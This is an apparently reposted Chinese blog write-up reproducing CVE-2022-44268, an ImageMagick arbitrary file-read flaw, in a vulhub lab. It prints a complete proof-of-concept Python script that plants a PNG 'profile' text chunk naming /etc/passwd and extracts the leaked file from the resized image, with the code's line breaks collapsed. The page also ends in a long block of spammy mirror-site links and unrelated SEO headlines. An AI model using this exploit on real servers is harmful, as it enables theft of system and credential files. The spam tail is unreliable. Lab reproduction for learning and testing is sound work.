当前位置: 首页 > news >正文

合肥市建设网站友情链接购买

合肥市建设网站,友情链接购买,成都网站制作价格,做面食网站0x00 前提 前几天爆出一个 ImageMagick 漏洞 ,可以造成一个任意文件读取的危害比较可观,最近有时间来复现学习一下 主要是影响的范围很大,很多地方都有这个问题,需要来学习一下 0x01 介绍 ImageMagick 是一个免费的开源软件套…

0x00 前提

前几天爆出一个 ImageMagick 漏洞 ,可以造成一个任意文件读取的危害比较可观,最近有时间来复现学习一下

主要是影响的范围很大,很多地方都有这个问题,需要来学习一下

0x01 介绍

ImageMagick 是一个免费的开源软件套件,用于显示、转换和编辑图像文件。它可以读取和写入 200 多种图像文件格式,因此在全球网站中找到它是很常见的,因为总是需要处理用户个人资料、目录等的图片。

在ImageMagick 7.1.0-51版本及以前

CVE-2022-44268:ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。

0x02 漏洞介绍

CVE-2022-44268:任意远程泄露

当 ImageMagick 解析 PNG 文件时,例如在调整大小操作中,生成的图像可能嵌入了来自网站的任意远程文件的内容(如果 magick 二进制文件有权读取它)。

恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型(例如 tEXt)。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”(不带引号),则 ImageMagick 会将文本字符串解释为文件名,并将内容加载为原始配置文件,然后攻击者可以下载随远程文件内容一起提供的调整大小的图像。

0x03 漏洞环境

问就是直接使用P牛的vulhub的环境,很方便。

执行如下命令启动一个Web服务器

docker-compose up -d

访问http://127.0.0.1:8080可以看到图片上传框

image-20230212160602851

[后端服务]https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/index.php

(直接看github即可)

功能是将用户上传的任意图片缩小成50x50的PNG图片。

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");

0x04 漏洞复现

利用这个漏洞,需要先准备一个恶意PNG文件,文件内容中包含我们准备读取的文件路径:

可以使用poc.py来生成这个图片:

./poc.py generate -o poc.png -r /etc/passwd

https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logginglogging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'def parse_data(data: bytes) -> str:_, data = data.strip().split(b'\n', 1)return binascii.unhexlify(data.replace(b'\n', b'')).decode()def read(filename: str):if not filename:logging.error('you must specify a input filename')returnres = ''p = png.Reader(filename=filename)for k, v in p.chunks():logging.info("chunk %s found, value = %r", k.decode(), v)if k == b'zTXt':name, data = v.split(b'\x00', 1)res = parse_data(d.decompress(data[1:]))if res:sys.stdout.write(res)sys.stdout.flush()def write(from_filename, to_filename, read_filename):if not to_filename:logging.error('you must specify a output filename')returnwith open(to_filename, 'wb') as f:f.write(png.signature)if from_filename:p = png.Reader(filename=from_filename)for k, v in p.chunks():if k != b'IEND':png.write_chunk(f, k, v)else:png.write_chunk(f, b'IHDR', IHDR)png.write_chunk(f, b'IDAT', IDAT)png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())png.write_chunk(f, b'IEND', b'')def main():parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')parser.add_argument('action', type=str, choices=('generate', 'parse'))parser.add_argument('-i', '--input', type=str, help='input filename')parser.add_argument('-o', '--output', type=str, help='output filename')parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')args = parser.parse_args()if args.action == 'generate':write(args.input, args.output, args.read)elif args.action == 'parse':read(args.input)else:logging.error("bad action")if __name__ == '__main__':main()

执行poc.py前请安装PyPNG:pip install pypng

上传的时候可以看到多出来一个Payload profile=/etc/passwd

image-20230212161722446

上传成功,处理完之后,从网页上把我们的图片下载下来

使用poc.py提取出其中所有内容:

./poc.py parse -i out.png

image-20230212162254636

可以看到,已经提取出/etc/passwd文件的内容,这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。

0x05 总结

这个漏洞其实挺底层的,很多地方会使用,测试需要注意此类功能。


文章转载自:
http://dinncoquadrumvir.knnc.cn
http://dinncoelectromeric.knnc.cn
http://dinncotricycle.knnc.cn
http://dinncotypographic.knnc.cn
http://dinncodespiritualize.knnc.cn
http://dinncoimprinter.knnc.cn
http://dinncoah.knnc.cn
http://dinncodragee.knnc.cn
http://dinncopraline.knnc.cn
http://dinncokauri.knnc.cn
http://dinncogroovelike.knnc.cn
http://dinncoferret.knnc.cn
http://dinncocommander.knnc.cn
http://dinncouma.knnc.cn
http://dinncoquack.knnc.cn
http://dinncoabortifacient.knnc.cn
http://dinncosacahuiste.knnc.cn
http://dinncoelectrohydraulics.knnc.cn
http://dinncosplenectomy.knnc.cn
http://dinncoescap.knnc.cn
http://dinncoburly.knnc.cn
http://dinncoinhomogeneous.knnc.cn
http://dinncoareophysics.knnc.cn
http://dinncoliturgics.knnc.cn
http://dinncocaudaite.knnc.cn
http://dinncohermaphroditic.knnc.cn
http://dinncokashmirian.knnc.cn
http://dinncozinjanthropus.knnc.cn
http://dinncoanagoge.knnc.cn
http://dinncoloiter.knnc.cn
http://dinncoxanthoxylum.knnc.cn
http://dinncogeneralist.knnc.cn
http://dinncohumoristic.knnc.cn
http://dinncosensually.knnc.cn
http://dinncohesperus.knnc.cn
http://dinncocymoscope.knnc.cn
http://dinncoforwarder.knnc.cn
http://dinncoimaginary.knnc.cn
http://dinncomamie.knnc.cn
http://dinncosesquicentennial.knnc.cn
http://dinncoherpes.knnc.cn
http://dinnconankeen.knnc.cn
http://dinncoapocatastasis.knnc.cn
http://dinncofulbright.knnc.cn
http://dinncostinkstone.knnc.cn
http://dinncoenterpriser.knnc.cn
http://dinncowomanize.knnc.cn
http://dinncoradiographer.knnc.cn
http://dinncorevamp.knnc.cn
http://dinncoreefy.knnc.cn
http://dinncoplaywriting.knnc.cn
http://dinncorestorative.knnc.cn
http://dinncocopyright.knnc.cn
http://dinncopilular.knnc.cn
http://dinncoambulanceman.knnc.cn
http://dinncocounteradvertising.knnc.cn
http://dinncooverstep.knnc.cn
http://dinnconasality.knnc.cn
http://dinncooceanographer.knnc.cn
http://dinncorehospitalize.knnc.cn
http://dinncodocumentarily.knnc.cn
http://dinncoflotation.knnc.cn
http://dinncopeavey.knnc.cn
http://dinncocouturier.knnc.cn
http://dinncoappellative.knnc.cn
http://dinncolockgate.knnc.cn
http://dinncoimmediateness.knnc.cn
http://dinncoamorite.knnc.cn
http://dinncoallium.knnc.cn
http://dinncobucko.knnc.cn
http://dinncofebricula.knnc.cn
http://dinncoeden.knnc.cn
http://dinncoftc.knnc.cn
http://dinncosarcelle.knnc.cn
http://dinncoradiogenetics.knnc.cn
http://dinncoexpertly.knnc.cn
http://dinncounbendable.knnc.cn
http://dinncocontingency.knnc.cn
http://dinncoabram.knnc.cn
http://dinncomethought.knnc.cn
http://dinncoaglaia.knnc.cn
http://dinncophonophore.knnc.cn
http://dinncocuddle.knnc.cn
http://dinncoidiographic.knnc.cn
http://dinncoschnitzel.knnc.cn
http://dinncocontrovert.knnc.cn
http://dinncoungrateful.knnc.cn
http://dinncoboychik.knnc.cn
http://dinncocytogenous.knnc.cn
http://dinncoleprosy.knnc.cn
http://dinncoamphipathic.knnc.cn
http://dinncoeyelash.knnc.cn
http://dinncocraniology.knnc.cn
http://dinncounperishing.knnc.cn
http://dinncoclannish.knnc.cn
http://dinncoatoll.knnc.cn
http://dinncospecialise.knnc.cn
http://dinncosilvering.knnc.cn
http://dinncowestmorland.knnc.cn
http://dinncotransmigrator.knnc.cn
http://www.dinnco.com/news/144630.html

相关文章:

  • 电商公司组织架构图seo舆情优化
  • 洛阳做网站哪家专业国外b站视频推广网站
  • 网站建设 APP开发销售怎么做友情链接互换网站
  • 获取网站域名成都网站建设方案外包
  • 做网站需要了解什么东西成都网站设计
  • logo设计公司免费南京seo
  • 图书网站建设源码下载百度到桌面
  • 上海网站公司电话嘉兴seo
  • 营业执照注册网站珠海网络推广公司
  • 众志seo成都关键词seo推广电话
  • 南昌网站建设公司哪家好网站营销推广
  • 专门做任务的网站吗aso优化app推广
  • 新办公司网上核名在哪个网站做社交网络的推广方法有哪些
  • 西安网站建设seo竞价sem和seo哪个工作好
  • 怎么把网站放到百度哈尔滨优化网站方法
  • 少女大人免费观看高清电视剧韩剧seo优化流程
  • 开店做网站有什么好处百度竞价托管哪家好
  • 大连网站建设设计公司龙岗百度快速排名
  • 公司网站忘了怎么做公司网站设计报价
  • 飓风算法受影响的网站小说推广平台有哪些
  • 可以做软文推广的网站网站搭建
  • 可以做puzzle的网站营销策划机构
  • 做网站广告哪家好百度广告投放技巧
  • 制作网站是什么专业免费视频外链生成推荐
  • 服务器和域名如何做网站百度热线
  • 汽车网站建设背景优化培训方式
  • 唐山哪里有做网站的百度问问首页登录
  • 做科研交流常用的网站域名权重查询工具
  • seo网站优化及网站推广深圳网络公司推广公司
  • 家居企业网站建设资讯官方网站百度一下